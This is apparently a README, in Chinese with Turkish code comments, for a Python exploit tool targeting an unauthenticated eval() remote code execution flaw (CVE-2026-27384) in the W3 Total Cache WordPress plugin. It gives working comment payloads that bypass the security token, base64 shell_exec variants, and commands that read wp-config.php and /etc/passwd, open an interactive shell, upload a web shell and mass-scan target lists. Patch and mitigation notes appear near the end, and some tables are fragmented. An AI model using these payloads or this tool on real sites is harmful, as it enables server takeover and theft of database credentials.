插件: W3 Total Cache 插件 Slug:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS 评分: 9.8(严重) CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H漏洞类型: 未认证任意代码执行(通过eval()进行代码注入) 受影响版本: <= 2.9.1 已修复版本: 2.9.2 发布日期: 2026 年 2 月 24 日 研究人员: CODE WHITE GmbH
W3 Total Cache 插件的 Dynamic Fragment Caching 功能(mfunc/mclude 系统)会通过 eval() 执行嵌入在 HTML 注释中的 PHP 代码。
本应保护该功能的 W3TC_DYNAMIC_SECURITY token 可因多个代码缺陷的组合而被绕过。
结果: 无需身份验证,仅需提交一条 WordPress 评论,即可在服务器上执行任意 PHP 代码。
W3TC 的 Dynamic Fragment Caching 功能允许开发者通过特殊注释标签在页面 HTML 中嵌入 PHP 代码:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC 在从缓存提供页面时会处理这些标签:嵌入的 PHP 代码通过 eval() 执行,其输出会替换注释块的位置。
preg_quote()(PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
// preg_quote() YOK → token regex pattern gibi davranır
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
如果 token 是 '.',则正则变为 <!--\s*mfunc\s*.(.*)--> → 任意单个字符都会替代 token。
\s* 与 \s+ 不匹配| 函数 | 模式 | 行为 |
|---|---|---|
_parse_dynamic() — 执行 | mfunc\s*TOKEN | 接受 0 个空格 ✅ |
攻击者 payload: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfunc 与 token 之间没有空格
strip 函数: \s+ → 不匹配 → payload 保留
execution regex: \s* → 匹配 → eval() 执行
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex 元字符 — 任意字符)
│
▼
攻击者提交评论:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → 需要 \s+,没有空格 → 已绕过 ✅
│
▼
评论被保存到数据库,页面被缓存
│
▼
第二次 HTTP 请求 → W3TC 从缓存提供页面
_has_dynamic() → mfunc\s*. → 'A' 匹配 → 返回 true
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' 匹配
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 未认证 RCE ✓
无需身份验证,即可在服务器上以 Web 服务器权限执行任意 PHP 代码:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| 模式 | 说明 |
|---|---|
auto | 扫描站点 → 查找评论页面 → 执行利用(默认) |
exploit | 直接利用 — 使用 post URL |
shell | 交互式 shell |
python w3tc_rce.py https://hedef.com
扫描器将执行以下操作:
# id 命令
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# 读取 /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# 读取 wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# 手动指定 Post ID
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Shell 打开时会自动执行 whoami、hostname、pwd、uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc 交互式 Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
用户 : www-data
主机 : web01.hedef.com
目录 : /var/www/html
系统 : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
命令: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC 已安装!
版本 : 2.9.1
Cache : True
[!] 版本 2.9.1 存在漏洞 (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
标准标签 (会被 strip 捕获):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
有空格 → \s+ 匹配 → strip 删除
Bypass 标签 (绕过 strip, 触发 eval()):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
无空格 → \s+ 不匹配 → strip 跳过
\s* 匹配 → eval() 执行
PHP 代码会被 base64 编码,以避免 HTML 编码问题:
# Komut: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
1. W3TC 检测
└─ readme.txt、header、body、插件目录
2. 评论系统检测
└─ HTML form、REST API、post ID
3. Payload 注入 (48 个变体)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTML Form: POST /wp-comments-post.php
4. 触发缓存
├─ 第 1 次请求 → cache miss → 页面渲染 → 写入缓存
└─ 第 2 次请求 → cache hit → _parse_dynamic() → eval()
5. 提取输出
└─ uid=、whoami、/path/、passwd、wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] 目标: https://hedef.com
爬取中: [████████████████████] 100% (50/50) | 8.3/s
[+] 评论页面: https://hedef.com/?p=1 (post_id=1)
[1] W3TC 检测...
[+] 发现 W3TC!版本: 2.9.1
[2] 评论系统检测...
[+] Post ID: 1 | Form: True | REST: True
[3] Payload 注入 (id)...
[i] 已准备 48 个 payload 变体
[4] 触发缓存...
[★] RCE 成功!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
命令 : id
输出 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] 结果已保存 → w3tc_results.txt
[?] 打开 Shell? (y/n):
扫描中: [████████████████████] 100% (100/100) | 4.2/s
[★] 发现 7 个漏洞!
[+] 结果已保存 → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # 主扫描器
├── requirements.txt # 依赖
└── README.md # 本文件
| 措施 | 说明 |
|---|---|
| 更新插件 | 升级到 W3 Total Cache 2.9.2+ 版本 |
| 禁用 mfunc | 如果未定义 W3TC_DYNAMIC_SECURITY,该功能将无法运行 |
| 强 Token | Token 只能包含字母数字字符 () |
安全 token 示例(wp-config.php):
// ❌ Tehlikeli — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Güvenli — alfanümerik
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
2.9.2 补丁(_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote eklendi
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (en az 1 boşluk)
...
);
本工具及 PoC 仅用于已授权系统、教育目的及 渗透测试范畴。 在未经授权的系统上使用,将依据土耳其刑法典第 243-245 条 及国际网络犯罪法律构成犯罪行为。 开发者对因滥用本工具而产生的任何法律 责任概不承担。
MIT License — 仅用于教育和研究目的。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical(严重) |
| 类型 | 代码注入 → RCE (CWE-94) |
| 受影响版本 | <= 2.9.1 |
| 已修复版本 | 2.9.2 |
| 身份验证 | 不需要 |
| 用户交互 | 不需要 |
| 前提条件 | W3TC_DYNAMIC_SECURITY 必须包含正则元字符 |
strip_dynamic_fragment_tags_from_string() — 清理 | mfunc\s+TOKEN | 至少需要 1 个空格 ❌ |
detect| 仅检测 W3TC |
| 参数 | 简写 | 说明 | 默认值 |
|---|
url | — | 单个目标 URL | — |
--list | -l | 目标列表文件 | — |
--mode | — | 工作模式 | auto |
--cmd | — | 要执行的命令 | id |
--post-url | — | 包含评论的页面 URL | — |
--post-id | — | WordPress post ID | — |
--max-pages | — | Spider 最大页面数 | 50 |
--threads | -t | 线程数 | 10 |
--output | -o | 输出文件 | w3tc_results.txt |
--proxy | — | 代理 URL | — |
--no-color | — | 无颜色输出 | False |
--verbose | -v | 详细输出 | False |
| 组 | 函数 | 绕过字符 | 编码 |
|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | 所有函数 | A, B, X, 1 | 原始 |
[a-zA-Z0-9_]+